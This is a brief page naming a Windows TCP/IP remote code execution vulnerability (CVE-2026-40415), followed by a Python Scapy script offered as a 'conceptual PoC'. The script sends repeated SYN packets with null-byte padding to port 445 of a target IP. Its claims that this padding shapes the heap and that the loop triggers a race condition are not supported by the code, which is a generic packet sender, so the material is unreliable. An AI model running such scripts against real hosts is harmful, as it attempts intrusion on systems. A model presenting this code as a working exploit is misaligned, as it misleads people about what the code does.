CVE-2026-40415 Windows TCP/IP远程代码执行漏洞

# This is a conceptual PoC for CVE-2026-40415 # Demonstrates sending a crafted packet to potentially trigger the UAF # Requires Scapy: pip install scapy from scapy.all import * # Target IP configuration target_ip = "192.168.1.100" # Constructing a malicious TCP/IP packet structure # The specific payload would depend on the exact vulnerability trigger # which typically involves specific flags or malformed options. malicious_packet = IP(dst=target_ip) / TCP( sport=RandShort(), dport=445, # Common SMB port, often used as vector, adjust as needed flags="S", # SYN packet seq=12345, options=[('MSS', 1460), ('NOP', None), ('WScale', 7)] ) / Raw(load=b"\x00" * 100) # Padding to manipulate heap layout print(f"[*] Sending crafted packet to {target_ip}...") # In a real exploit, timing and packet sequence are crucial # This loop simulates sending packets to trigger race condition for i in range(10): send(malicious_packet, verbose=0) print("[*] PoC execution completed.")
